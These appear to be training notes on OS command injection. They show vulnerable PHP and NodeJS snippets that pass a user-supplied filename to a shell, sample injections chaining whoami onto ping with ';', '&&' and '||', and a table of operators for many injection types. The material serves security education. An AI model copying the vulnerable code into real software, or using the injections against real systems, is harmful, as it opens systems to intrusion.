OS Command Injections

PHP Example

<?php
if (isset($_GET['filename'])) {
    system("touch /tmp/" . $_GET['filename'] . ".pdf");
}
?>

NodeJS Example

app.get("/createfile", function(req, res){
    child_process.exec(`touch /tmp/${req.query.filename}.txt`);
})

Injecting Commands

ping -c 1 127.0.0.1; whoami

21y4d@htb[/htb]$ ping -c 1 127.0.0.1; whoami

PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=1.03 ms

--- 127.0.0.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 1.034/1.034/1.034/0.000 ms
21y4d

AND Operator

ping -c 1 127.0.0.1 && whoami

OR Operator

$ ping -c 1 127.0.0.1 || whoami

PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.635 ms

--- 127.0.0.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.635/0.635/0.635/0.000 ms

$ ping -c 1 || whoami

ping: usage error: Destination address required
21y4d

Injection Type	Operators
SQL Injection	' , ; -- /* */
Command Injection	; &&
LDAP Injection	* ( ) & |
XPath Injection	' or and not substring concat count
OS Command Injection	; & |
Code Injection	' ; -- /* */ $() ${} #{} %{} ^
Directory Traversal/File Path Traversal	../ ..\\ %00
Object Injection	; & |
XQuery Injection	' ; -- /* */
Shellcode Injection	\x \u %u %n
Header Injection	\n \r\n \t %0d %0a %09